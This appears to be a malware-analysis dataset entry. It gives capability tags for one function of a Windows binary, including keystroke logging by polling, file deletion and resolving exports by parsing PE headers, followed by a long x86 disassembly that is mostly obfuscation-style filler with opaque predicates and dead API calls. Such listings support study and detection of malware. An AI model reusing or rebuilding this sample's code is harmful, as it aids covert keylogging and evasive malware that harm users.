Function at 0x1002e028
Capabilities:
Delete file
Identify system language via api
Log keystrokes via polling
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1007b90b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x1750
call fcn.10077070
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
push 1
lea ecx, [ebp - 0x1430]
call fcn.1001ba30
and dword [ebp - 4], 0
push 4
lea ecx, [ebp - 0x1420]
call fcn.1001ba30
mov byte [ebp - 4], 1
mov dword [ebp - 0x44], 0
jmp 0x1002e083
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 1
jge 0x1002e099
mov eax, dword [ebp - 0x44]
mov dword [ebp + eax*4 - 0x28c], 7
jmp 0x1002e07c
mov dword [ebp - 0x44], 0
jmp 0x1002e0a9
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 1
jge 0x1002e0c5
push dword [ebp - 0x44]
lea ecx, [ebp - 0x1430]
call fcn.1001bad7
mov dword [eax], 0xfffffffd
jmp 0x1002e0a2
mov dword [ebp - 0x44], 0
jmp 0x1002e0d5
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 4
jge 0x1002e0f1
push dword [ebp - 0x44]
lea ecx, [ebp - 0x1420]
call fcn.1001bad7
mov dword [eax], 1
jmp 0x1002e0ce
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x28c], 0
jmp 0x1002e11f
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x28c]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x28c], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x28c], 8
jg 0x1002e17f
mov dword [ebp - 0x33c], 0
jmp 0x1002e148
mov eax, dword [ebp - 0x33c]
inc eax
mov dword [ebp - 0x33c], eax
cmp dword [ebp - 0x33c], 4
jge 0x1002e164
mov eax, dword [ebp - 0x33c]
mov dword [ebp + eax*4 - 0x15a8], 0x509978f3
jmp 0x1002e13b
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x15a8]
dec eax
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0x15a8], eax
jmp 0x1002e104
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x1420]
call fcn.1001bab2
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1430]
call fcn.1001bab2
cmp dword [ebp + 0x10], 0
jbe 0x1002e22a
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x1002e22a
mov dword [ebp - 0x294], 5
mov dword [ebp - 0x294], 0
jmp 0x1002e1d2
mov eax, dword [ebp - 0x294]
dec eax
mov dword [ebp - 0x294], eax
cmp dword [ebp - 0x294], 0xffffffec
je 0x1002e216
mov dword [ebp - 0x1e8], 1
mov dword [ebp - 0x1e8], 9
jmp 0x1002e1fe
mov eax, dword [ebp - 0x1e8]
inc eax
mov dword [ebp - 0x1e8], eax
cmp dword [ebp - 0x1e8], 0xf
jg 0x1002e214
cmp dword [ebp - 0x1e8], 0
je 0x1002e212
jmp 0x1002e214
jmp 0x1002e1f1
jmp 0x1002e1c5
movzx eax, word [ebp + 0x10]
push eax
push dword [ebp + 8]
call fcn.1002a5d0
pop ecx
pop ecx
jmp 0x10038969
mov dword [ebp - 0x29c], 0x1f7e2799
mov dword [ebp - 0x1ac], 0xfffffffb
push 4
lea ecx, [ebp - 0x11b8]
call fcn.1001ba30
mov dword [ebp - 4], 2
mov dword [ebp - 0x1528], 0xde6eab3a
mov dword [ebp - 0x344], 0
jmp 0x1002e275
mov eax, dword [ebp - 0x344]
inc eax
mov dword [ebp - 0x344], eax
cmp dword [ebp - 0x344], 4
jge 0x1002e294
push dword [ebp - 0x344]
lea ecx, [ebp - 0x11b8]
call fcn.1001bad7
or dword [eax], 0xffffffff
jmp 0x1002e268
mov dword [ebp - 0x29c], 0
jmp 0x1002e2ad
mov eax, dword [ebp - 0x29c]
dec eax
mov dword [ebp - 0x29c], eax
cmp dword [ebp - 0x29c], 0xffffffea
je 0x1002e54f
push 1
lea ecx, [ebp - 0xc84]
call fcn.1001ba30
mov byte [ebp - 4], 3
mov dword [ebp - 0x1f4], 0xdcefbde2
mov dword [ebp - 0x348], 0
jmp 0x1002e2ee
mov eax, dword [ebp - 0x348]
inc eax
mov dword [ebp - 0x348], eax
cmp dword [ebp - 0x348], 1
jge 0x1002e310
push dword [ebp - 0x348]
lea ecx, [ebp - 0xc84]
call fcn.1001bad7
mov dword [eax], 1
jmp 0x1002e2e1
push 0
lea ecx, [ebp - 0xc84]
call fcn.1001bad7
mov dword [ebp - 0x63c], eax
mov eax, dword [ebp - 0x63c]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x63c]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0xc84]
call fcn.1001bad7
cmp dword [eax], 0
je 0x1002e4aa
mov dword [ebp - 0x214], 1
mov dword [ebp - 0xd7c], 0xb6046e74
mov eax, dword [ebp - 0x214]
mov dword [ebp - 0x1370], eax
mov eax, 0x5f9c7104
test eax, eax
je 0x1002e3c8
push 0
lea ecx, [ebp - 0xc84]
call fcn.1001bad7
mov esi, eax
push 0
lea ecx, [ebp - 0xc84]
call fcn.1001bad7
mov eax, dword [eax]
add eax, dword [esi]
cmp dword [ebp - 0x214], eax
jge 0x1002e3a7
mov dword [ebp - 0xbfc], 1
jmp 0x1002e3ae
and dword [ebp - 0xbfc], 0
mov eax, dword [ebp - 0x214]
cmp dword [ebp - 0xbfc], eax
jl 0x1002e3c8
mov dword [ebp - 0xc04], 1
jmp 0x1002e3cf
and dword [ebp - 0xc04], 0
cmp dword [ebp - 0xc04], 0xffffffff
jge 0x1002e3e4
mov dword [ebp - 0xc34], 1
jmp 0x1002e3eb
and dword [ebp - 0xc34], 0
cmp dword [ebp - 0xc34], 2
jge 0x1002e40e
cmp dword [ebp - 0x214], 0
je 0x1002e40e
xor eax, eax
inc eax
je 0x1002e40e
mov dword [ebp - 0xc3c], 1
jmp 0x1002e415
and dword [ebp - 0xc3c], 0
mov eax, dword [ebp - 0x214]
cmp dword [ebp - 0xc3c], eax
je 0x1002e42f
mov dword [ebp - 0xc44], 1
jmp 0x1002e436
and dword [ebp - 0xc44], 0
mov eax, dword [ebp - 0x1f4]
cmp dword [ebp - 0xc44], eax
je 0x1002e450
mov dword [ebp - 0xc4c], 1
jmp 0x1002e457
and dword [ebp - 0xc4c], 0
push 2
lea ecx, [ebp - 0x11b8]
call fcn.1001bad7
mov ecx, dword [ebp - 0xc4c]
cmp ecx, dword [eax]
je 0x1002e47a
mov dword [ebp - 0xc54], 1
jmp 0x1002e481
and dword [ebp - 0xc54], 0
mov eax, dword [ebp - 0xc54]
mov dword [ebp - 0xd7c], eax
mov byte [ebp - 0x1a4], 0
movzx eax, byte [ebp - 0x1a4]
test eax, eax
je 0x1002e4a5
call dword [sym.imp.USER32.dll_ReleaseCapture]
jmp 0x1002e53b
mov dword [ebp - 0x1ac], 0
jmp 0x1002e4c3
mov eax, dword [ebp - 0x1ac]
dec eax
mov dword [ebp - 0x1ac], eax
cmp dword [ebp - 0x1ac], 0
jl 0x1002e53b
mov dword [ebp - 0x1f4], 0
jmp 0x1002e4e5
mov eax, dword [ebp - 0x1f4]
inc eax
mov dword [ebp - 0x1f4], eax
cmp dword [ebp - 0x1f4], 3
jg 0x1002e536
push dword [ebp - 0x1ac]
lea ecx, [ebp - 0xc84]
call fcn.1001bad7
mov esi, eax
push dword [ebp - 0x1ac]
lea ecx, [ebp - 0xc84]
call fcn.1001bad7
mov eax, dword [eax]
mov dword [esi], eax
mov byte [ebp - 0x154], 0
movzx eax, byte [ebp - 0x154]
test eax, eax
je 0x1002e534
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SystemTimeToTzSpecificLocalTime]
jmp 0x1002e4d8
jmp 0x1002e4b6
mov byte [ebp - 4], 2
lea ecx, [ebp - 0xc84]
call fcn.1001bab2
jmp 0x1002e2a0
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x11b8]
call fcn.1001bab2
mov dword [ebp - 0x118], 0x438bea12
mov dword [ebp - 0xc5c], 0xfffffff9
mov dword [ebp - 0x1dc], 0x45bbbdeb
mov dword [ebp - 0xddc], 0
mov dword [ebp - 0x508], 0xb56
mov dword [ebp - 0x2a4], 0
jmp 0x1002e5a9
mov eax, dword [ebp - 0x2a4]
inc eax
mov dword [ebp - 0x2a4], eax
cmp dword [ebp - 0x2a4], 3
jge 0x1002e5c5
mov eax, dword [ebp - 0x2a4]
mov dword [ebp + eax*4 - 0x15b4], 3
jmp 0x1002e59c
cmp dword [ebp - 0x118], 1
ja 0x1002e60a
mov eax, dword [ebp - 0x118]
mov dword [ebp - 0xc5c], eax
mov eax, dword [ebp - 0xc5c]
mov dword [ebp - 0xc64], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0xc64]
mov dword [ebp + eax - 0x15b4], ecx
cmp dword [ebp - 0xc64], 0
jne 0x1002e60a
and dword [ebp - 0x5e0], 0
jmp 0x1002e614
mov dword [ebp - 0x5e0], 1
mov eax, dword [ebp - 0x118]
mov dword [ebp - 0x14b4], eax
cmp dword [ebp - 0x118], 0
je 0x1002e63e
cmp dword [ebp - 0x118], 0
je 0x1002e63e
mov dword [ebp - 0xc6c], 1
jmp 0x1002e645
and dword [ebp - 0xc6c], 0
mov eax, dword [ebp - 0x118]
imul eax, dword [ebp - 0xc6c]
test eax, eax
jne 0x1002e668
cmp dword [ebp - 0x118], 0
jne 0x1002e668
and dword [ebp - 0xc74], 0
jmp 0x1002e672
mov dword [ebp - 0xc74], 1
mov eax, dword [ebp - 0x1dc]
cmp dword [ebp - 0xc74], eax
jne 0x1002e68c
mov dword [ebp - 0xc10], 1
jmp 0x1002e693
and dword [ebp - 0xc10], 0
mov eax, dword [ebp - 0x118]
cmp dword [ebp - 0xc10], eax
je 0x1002e6ad
mov dword [ebp - 0xb0c], 1
jmp 0x1002e6b4
and dword [ebp - 0xb0c], 0
mov eax, dword [ebp - 0x5e0]
cmp eax, dword [ebp - 0xb0c]
jl 0x1002e6ce
mov dword [ebp - 0x500], 1
jmp 0x1002e6d5
and dword [ebp - 0x500], 0
mov eax, dword [ebp - 0x500]
add eax, 0x6dd2
imul eax, dword [ebp - 0x1dc]
mov dword [ebp - 0xddc], eax
mov dword [ebp - 0x1dc], 2
jmp 0x1002e706
mov eax, dword [ebp - 0x1dc]
dec eax
mov dword [ebp - 0x1dc], eax
cmp dword [ebp - 0x1dc], 0
jl 0x1002e84f
mov dword [ebp - 0x1378], 0xffffffff
mov dword [ebp - 0x14e8], 0xffffffff
mov dword [ebp - 0xb14], 0x29ae
mov dword [ebp - 0xdec], 0x1000bb9c
cmp dword [ebp - 0xb14], 0x29ef
jle 0x1002e7f8
and dword [ebp - 0x398], 0
jmp 0x1002e761
mov eax, dword [ebp - 0x398]
inc eax
mov dword [ebp - 0x398], eax
cmp dword [ebp - 0x398], 0x44f9
jge 0x1002e7eb
and dword [ebp - 0x2ac], 0
jmp 0x1002e783
mov eax, dword [ebp - 0x2ac]
inc eax
mov dword [ebp - 0x2ac], eax
cmp dword [ebp - 0x2ac], 0x7664
jge 0x1002e7e6
mov eax, dword [ebp - 0x398]
or eax, dword [ebp - 0x2ac]
cdq
mov dword [ebp - 0xe00], eax
mov dword [ebp - 0xdfc], edx
push dword [ebp - 0xdfc]
push dword [ebp - 0xe00]
lea ecx, [ebp - 0x16c4]
call fcn.1000e423
pop ecx
pop ecx
mov dword [ebp - 0xde4], eax
mov ecx, dword [ebp - 0xde4]
call fcn.1001b217
push eax
call fcn.10062533
pop ecx
lea ecx, [ebp - 0x16c4]
call fcn.1001b20d
jmp 0x1002e776
jmp 0x1002e754
push 0
push 0xc00
call dword [sym.imp.USER32.dll_FlashWindow]
mov dword [ebp - 4], 4
cmp dword [ebp - 0xb14], 0x2626
jge 0x1002e817
push dword [ebp - 0xdec]
call fcn.10062533
pop ecx
jmp 0x1002e833
or dword [ebp - 4], 0xffffffff
jmp 0x1002e83d
mov eax, dword [ebp - 0x508]
dec eax
mov dword [ebp - 0x508], eax
jmp 0x1002e6f9
cmp dword [ebp + 0x10], 0
jne 0x10033dea
mov dword [ebp - 0x38], 1
mov dword [ebp - 0x160], 0x3d4a1cf0
mov dword [ebp - 0xdf4], 0x5eac84c9
mov dword [ebp - 0x548], 0xf16ce65c
mov dword [ebp - 0xb5c], 0xfffffffe
push 4
lea ecx, [ebp - 0x106c]
call fcn.1001ba30
mov dword [ebp - 4], 6
mov dword [ebp - 0x350], 0
jmp 0x1002e8b5
mov eax, dword [ebp - 0x350]
inc eax
mov dword [ebp - 0x350], eax
cmp dword [ebp - 0x350], 4
jge 0x1002e8d4
push dword [ebp - 0x350]
lea ecx, [ebp - 0x106c]
call fcn.1001bad7
and dword [eax], 0
jmp 0x1002e8a8
cmp dword [ebp - 0x38], 0
je 0x1002e9cd
mov dword [ebp - 0x1128], 0xffff
mov dword [ebp - 0x1124], 0xffff
mov dword [ebp - 0x1120], 0xffff
mov dword [ebp - 0x111c], 0xffff
lea ecx, [ebp - 0x405]
call fcn.1001bb39
push eax
lea eax, [ebp - 0x1118]
push eax
lea eax, [ebp - 0x1128]
push eax
lea ecx, [ebp - 0x161c]
call fcn.1001bb3c
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x1440]
call fcn.1001ba8c
mov byte [ebp - 4], 7
mov dword [ebp - 0x38], 0xa
jmp 0x1002e94f
mov eax, dword [ebp - 0x38]
dec eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 5
jle 0x1002e99c
mov dword [ebp - 0x228], 7
mov dword [ebp - 0x228], 0
jmp 0x1002e978
mov eax, dword [ebp - 0x228]
inc eax
mov dword [ebp - 0x228], eax
cmp dword [ebp - 0x228], 4
jge 0x1002e99a
push dword [ebp - 0x228]
lea ecx, [ebp - 0x1440]
call fcn.1001bad7
mov dword [eax], 0xffff
jmp 0x1002e96b
jmp 0x1002e948
mov byte [ebp - 0x19c], 0
movzx eax, byte [ebp - 0x19c]
test eax, eax
je 0x1002e9b9
push 0x1020
call dword [sym.imp.USER32.dll_HideCaret]
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x1440]
call fcn.1001bab2
jmp 0x1002eab7
mov dword [ebp - 0x1fc], 1
mov dword [ebp - 0xb24], 1
mov eax, dword [ebp - 0x1fc]
mov dword [ebp - 0x1380], eax
mov eax, dword [ebp - 0x1fc]
shl eax, 2
cmp eax, dword [ebp - 0x1fc]
jle 0x1002ea0a
mov dword [ebp - 0xb1c], 1
jmp 0x1002ea11
and dword [ebp - 0xb1c], 0
cmp dword [ebp - 0xb1c], 0
jb 0x1002ea26
mov dword [ebp - 0x510], 1
jmp 0x1002ea2d
and dword [ebp - 0x510], 0
mov eax, dword [ebp - 0x510]
mov dword [ebp - 0xb24], eax
mov eax, dword [ebp - 0xb24]
cmp eax, dword [ebp - 0x38]
jne 0x1002ea50
mov dword [ebp - 0x518], 1
jmp 0x1002ea57
and dword [ebp - 0x518], 0
mov eax, dword [ebp - 0x1fc]
sub eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x38]
imul ecx, eax
cmp ecx, dword [ebp - 0x518]
jg 0x1002ea7a
mov dword [ebp - 0xb2c], 1
jmp 0x1002ea81
and dword [ebp - 0xb2c], 0
cmp dword [ebp - 0xb2c], 0x8ecb302a
jae 0x1002ea99
mov dword [ebp - 0x520], 1
jmp 0x1002eaa0
and dword [ebp - 0x520], 0
mov eax, dword [ebp - 0x520]
neg eax
imul eax, dword [ebp - 0x1fc]
neg eax
mov dword [ebp - 0x160], eax
cmp dword [ebp - 0x38], 0
jne 0x1002eac9
mov dword [ebp - 0xb34], 1
jmp 0x1002ead0
and dword [ebp - 0xb34], 0
mov eax, dword [ebp - 0x38]
cmp eax, dword [ebp - 0xb34]
jge 0x1002ed93
mov dword [ebp - 0x468], 0xd514faf1
mov dword [ebp - 0xb3c], 0x7a8360e5
mov dword [ebp - 0x410], 0
push 1
lea ecx, [ebp - 0x11c4]
call fcn.1001ba30
mov byte [ebp - 4], 8
mov dword [ebp - 0xc8], 0
jmp 0x1002eb27
mov eax, dword [ebp - 0xc8]
inc eax
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 1
jge 0x1002eb49
push dword [ebp - 0xc8]
lea ecx, [ebp - 0x11c4]
call fcn.1001bad7
mov dword [eax], 0x87e17710
jmp 0x1002eb1a
mov dword [ebp - 0xc8], 0
jmp 0x1002eb62
mov eax, dword [ebp - 0xc8]
inc eax
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 3
jge 0x1002eb7e
mov eax, dword [ebp - 0xc8]
mov dword [ebp + eax*4 - 0x1608], 1
jmp 0x1002eb55
mov byte [ebp - 0x158], 0
movzx eax, byte [ebp - 0x158]
test eax, eax
je 0x1002eb9f
push 0
push 0
push 0x1b44
call dword [sym.imp.GDI32.dll_PlayEnhMetaFile]
cmp dword [ebp - 0x160], 0xffffffff
je 0x1002ebb4
mov dword [ebp - 0x540], 1
jmp 0x1002ebbb
and dword [ebp - 0x540], 0
cmp dword [ebp - 0x160], 0
jl 0x1002ebd0
mov dword [ebp - 0x528], 1
jmp 0x1002ebd7
and dword [ebp - 0x528], 0
mov eax, dword [ebp - 0x528]
sub eax, 0xffff
cmp eax, dword [ebp - 0xb3c]
jle 0x1002ebf6
mov dword [ebp - 0x530], 1
jmp 0x1002ebfd
and dword [ebp - 0x530], 0
mov eax, dword [ebp - 0xb3c]
cmp dword [ebp - 0x530], eax
jg 0x1002ec17
mov dword [ebp - 0xb44], 1
jmp 0x1002ec1e
and dword [ebp - 0xb44], 0
mov eax, dword [ebp - 0xb44]
sub eax, 6
sub eax, dword [ebp - 0x160]
add eax, dword [ebp - 0x38]
imul eax, dword [ebp - 0x160]
add eax, dword [ebp - 0x410]
je 0x1002ec54
cmp dword [ebp - 0x410], 0
je 0x1002ec54
mov dword [ebp - 0x538], 1
jmp 0x1002ec5b
and dword [ebp - 0x538], 0
mov eax, dword [ebp - 0x38]
imul eax, dword [ebp - 0x538]
sub eax, dword [ebp - 0x38]
cmp eax, dword [ebp - 0x410]
jge 0x1002ec7c
mov dword [ebp - 0xb4c], 1
jmp 0x1002ec83
and dword [ebp - 0xb4c], 0
mov eax, dword [ebp - 0xdf4]
cmp dword [ebp - 0xb4c], eax
jne 0x1002ec9d
mov dword [ebp - 0xb54], 1
jmp 0x1002eca4
and dword [ebp - 0xb54], 0
mov eax, dword [ebp - 0x540]
mov dword [ebp - 0x468], eax
mov eax, dword [ebp - 0xb54]
mov dword [ebp - 0x548], eax
mov eax, dword [ebp - 0x548]
imul eax, dword [ebp - 0x38]
mov dword [ebp - 0xb5c], eax
mov eax, dword [ebp - 0x468]
cmp eax, dword [ebp - 0xb5c]
jg 0x1002ece6
mov dword [ebp - 0x550], 1
jmp 0x1002eced
and dword [ebp - 0x550], 0
mov eax, dword [ebp - 0x550]
mov dword [ebp - 0x160], eax
mov eax, dword [ebp - 0x160]
mov dword [ebp - 0xb64], eax
push 3
lea ecx, [ebp - 0x106c]
call fcn.1001bad7
mov ecx, dword [ebp - 0xb64]
mov dword [eax], ecx
push 0
lea ecx, [ebp - 0x11c4]
call fcn.1001bad7
mov ecx, dword [ebp - 0xb64]
mov dword [eax], ecx
mov eax, dword [ebp - 0x468]
mov dword [ebp - 0x14c4], eax
xor eax, eax
jne 0x1002ed5a
push 2
lea ecx, [ebp - 0x106c]
call fcn.1001bad7
cmp dword [eax], 0
jne 0x1002ed5a
and dword [ebp - 0xefc], 0
jmp 0x1002ed64
mov dword [ebp - 0xefc], 1
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x1388], eax
mov eax, dword [ebp - 0x38]
add eax, 0xbb6a
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x1608], eax
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x11c4]
call fcn.1001bab2
jmp 0x1002edb2
mov byte [ebp - 0x1a2], 0
movzx eax, byte [ebp - 0x1a2]
test eax, eax
je 0x1002edb2
push 1
push 0x439
call dword [sym.imp.USER32.dll_GetSystemMenu]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x106c]
call fcn.1001bab2
mov edx, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
call fcn.100215c8
mov dword [ebp - 0x3dc], eax
mov dword [ebp - 0x3c0], 5
push 1
lea ecx, [ebp - 0x1254]
call fcn.1001ba30
mov dword [ebp - 4], 9
mov dword [ebp - 0x2b4], 0
jmp 0x1002ee09
mov eax, dword [ebp - 0x2b4]
inc eax
mov dword [ebp - 0x2b4], eax
cmp dword [ebp - 0x2b4], 1
jge 0x1002ee2b
push dword [ebp - 0x2b4]
lea ecx, [ebp - 0x1254]
call fcn.1001bad7
mov dword [eax], 0x6e6b
jmp 0x1002edfc
mov dword [ebp - 0x3c0], 0
jmp 0x1002ee44
mov eax, dword [ebp - 0x3c0]
inc eax
mov dword [ebp - 0x3c0], eax
cmp dword [ebp - 0x3c0], 7
jl 0x1002f0bd
push 4
lea ecx, [ebp - 0xd3c]
call fcn.1001ba30
mov byte [ebp - 4], 0xa
mov dword [ebp - 0x2bc], 0x946507e6
mov dword [ebp - 0xb0], 0
jmp 0x1002ee85
mov eax, dword [ebp - 0xb0]
inc eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 4
jge 0x1002eea7
push dword [ebp - 0xb0]
lea ecx, [ebp - 0xd3c]
call fcn.1001bad7
mov dword [eax], 0x44696a48
jmp 0x1002ee78
mov dword [ebp - 0xb0], 0
jmp 0x1002eec0
mov eax, dword [ebp - 0xb0]
inc eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 2
jge 0x1002eedc
mov eax, dword [ebp - 0xb0]
mov dword [ebp + eax*4 - 0x13c0], 0
jmp 0x1002eeb3
push 1
lea ecx, [ebp - 0xd3c]
call fcn.1001bad7
and dword [eax], 0
jmp 0x1002ef12
push 1
lea ecx, [ebp - 0xd3c]
call fcn.1001bad7
mov dword [ebp - 0x558], eax
mov eax, dword [ebp - 0x558]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x558]
mov dword [ecx], eax
push 1
lea ecx, [ebp - 0xd3c]
call fcn.1001bad7
cmp dword [eax], 0
jl 0x1002ef4f
push 4
pop esi
shl esi, 0
push 1
lea ecx, [ebp - 0xd3c]
call fcn.1001bad7
push dword [eax]
lea ecx, [ebp - 0x1254]
call fcn.1001bad7
mov eax, dword [eax]
mov dword [ebp + esi - 0x13c0], eax
jmp 0x1002eeee
mov dword [ebp - 0x2bc], 0xffffffed
jmp 0x1002ef68
mov eax, dword [ebp - 0x2bc]
inc eax
mov dword [ebp - 0x2bc], eax
cmp dword [ebp - 0x2bc], 4
jl 0x1002f0a9
mov dword [ebp - 0x358], 0x5aa96141
mov dword [ebp - 0x358], 0
jmp 0x1002ef98
mov eax, dword [ebp - 0x358]
inc eax
mov dword [ebp - 0x358], eax
cmp dword [ebp - 0x358], 1
jg 0x1002f0a4
push 2
lea ecx, [ebp - 0xfb4]
call fcn.1001ba30
mov byte [ebp - 4], 0xb
mov dword [ebp - 0x2c4], 0
jmp 0x1002efcf
mov eax, dword [ebp - 0x2c4]
inc eax
mov dword [ebp - 0x2c4], eax
cmp dword [ebp - 0x2c4], 2
jge 0x1002eff1
push dword [ebp - 0x2c4]
lea ecx, [ebp - 0xfb4]
call fcn.1001bad7
mov dword [eax], 0xa80bfb3a
jmp 0x1002efc2
push 1
lea ecx, [ebp - 0xfb4]
call fcn.1001bad7
and dword [eax], 0
jmp 0x1002f027
push 1
lea ecx, [ebp - 0xfb4]
call fcn.1001bad7
mov dword [ebp - 0xb6c], eax
mov eax, dword [ebp - 0xb6c]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0xb6c]
mov dword [ecx], eax
push 1
lea ecx, [ebp - 0xfb4]
call fcn.1001bad7
cmp dword [eax], 3
jg 0x1002f090
mov dword [ebp - 0x3a0], 0x2b96ce02
mov dword [ebp - 0x3a0], 0
jmp 0x1002f05c
mov eax, dword [ebp - 0x3a0]
inc eax
mov dword [ebp - 0x3a0], eax
cmp dword [ebp - 0x3a0], 1
jg 0x1002f08b
mov byte [ebp - 0x15a], 0
movzx eax, byte [ebp - 0x15a]
test eax, eax
je 0x1002f089
push 0x1e13
push 0xab6
push 0
call dword [sym.imp.USER32.dll_CheckMenuItem]
jmp 0x1002f04f
jmp 0x1002f003
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0xfb4]
call fcn.1001bab2
jmp 0x1002ef8b
jmp 0x1002ef5b
mov byte [ebp - 4], 9
lea ecx, [ebp - 0xd3c]
call fcn.1001bab2
jmp 0x1002ee37
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1254]
call fcn.1001bab2
mov dword [ebp - 0xa0], 0xffffffff
mov dword [ebp - 0xf14], 0xcd7d393e
push 4
lea ecx, [ebp - 0x1450]
call fcn.1001ba30
mov dword [ebp - 4], 0xc
mov dword [ebp - 0x108], 0
jmp 0x1002f10d
mov eax, dword [ebp - 0x108]
inc eax
mov dword [ebp - 0x108], eax
cmp dword [ebp - 0x108], 3
jge 0x1002f129
mov eax, dword [ebp - 0x108]
mov dword [ebp + eax*4 - 0x15e4], 0x4bcd76ce
jmp 0x1002f100
mov dword [ebp - 0x108], 0
jmp 0x1002f142
mov eax, dword [ebp - 0x108]
inc eax
mov dword [ebp - 0x108], eax
cmp dword [ebp - 0x108], 4
jge 0x1002f164
push dword [ebp - 0x108]
lea ecx, [ebp - 0x1450]
call fcn.1001bad7
mov dword [eax], 0x42afa017
jmp 0x1002f135
mov byte [ebp - 0x19e], 0
movzx eax, byte [ebp - 0x19e]
test eax, eax
je 0x1002f17e
push 0
call dword [sym.imp.KERNEL32.dll_RtlCaptureContext]
cmp dword [ebp - 0xa0], 0
je 0x1002f24b
cmp dword [ebp - 0xa0], 0
jne 0x1002f1a6
cmp dword [ebp - 0xa0], 0
jne 0x1002f1a6
and dword [ebp - 0x418], 0
jmp 0x1002f1b0
mov dword [ebp - 0x418], 1
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x418]
mov dword [ebp + eax - 0x15e4], ecx
mov eax, dword [ebp - 0xa0]
cmp eax, dword [ebp - 0x418]
jne 0x1002f1dc
mov dword [ebp - 0x560], 1
jmp 0x1002f1e3
and dword [ebp - 0x560], 0
mov eax, dword [ebp - 0xa0]
cmp dword [ebp - 0x560], eax
jg 0x1002f1fd
mov dword [ebp - 0xb74], 1
jmp 0x1002f204
and dword [ebp - 0xb74], 0
mov eax, dword [ebp - 0xa0]
cmp dword [ebp - 0xb74], eax
jge 0x1002f21e
mov dword [ebp - 0xf04], 1
jmp 0x1002f225
and dword [ebp - 0xf04], 0
mov eax, dword [ebp - 0xa0]
mov dword [ebp - 0x14f0], eax
mov eax, dword [ebp - 0xa0]
cmp eax, dword [ebp - 0xa0]
jge 0x1002f24b
mov dword [ebp - 0x568], 1
jmp 0x1002f252
and dword [ebp - 0x568], 0
mov eax, dword [ebp - 0xa0]
cmp eax, dword [ebp - 0x568]
je 0x1002f26c
mov dword [ebp - 0xf0c], 1
jmp 0x1002f273
and dword [ebp - 0xf0c], 0
mov eax, dword [ebp - 0xa0]
mov dword [ebp - 0x1390], eax
mov dword [ebp - 0xf14], 0xfffffff6
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1450]
call fcn.1001bab2
cmp dword [0x106248e0], 0
jne 0x10033db8
mov dword [ebp - 0x1164], 0xf9b3198a
mov dword [ebp - 0x1160], 0xf9b3198a
mov dword [ebp - 0x115c], 0xf9b3198a
mov dword [ebp - 0x1158], 0xf9b3198a
lea ecx, [ebp - 0x491]
call fcn.1001bb39
push eax
lea eax, [ebp - 0x1154]
push eax
lea eax, [ebp - 0x1164]
push eax
lea ecx, [ebp - 0x1664]
call fcn.1001bb3c
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x15c0]
call fcn.1001ba8c
mov dword [ebp - 4], 0xd
push 1
lea ecx, [ebp - 0xfc4]
call fcn.1001ba30
mov byte [ebp - 4], 0xe
mov dword [ebp - 0x570], 0xffffffff
mov dword [ebp - 0x2cc], 0
jmp 0x1002f33d
mov eax, dword [ebp - 0x2cc]
inc eax
mov dword [ebp - 0x2cc], eax
cmp dword [ebp - 0x2cc], 1
jge 0x1002f35c
push dword [ebp - 0x2cc]
lea ecx, [ebp - 0xfc4]
call fcn.1001bad7
and dword [eax], 0
jmp 0x1002f330
push 0
lea ecx, [ebp - 0xfc4]
call fcn.1001bad7
and dword [eax], 0
jmp 0x1002f392
push 0
lea ecx, [ebp - 0xfc4]
call fcn.1001bad7
mov dword [ebp - 0xb7c], eax
mov eax, dword [ebp - 0xb7c]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0xb7c]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0xfc4]
call fcn.1001bad7
cmp dword [eax], 3
jg 0x1002f3b3
mov eax, dword [ebp - 0x570]
inc eax
mov dword [ebp - 0x570], eax
jmp 0x1002f36e
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0xfc4]
call fcn.1001bab2
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x15c0]
call fcn.1001bab2
mov dword [ebp - 0xf1c], 0x8cae
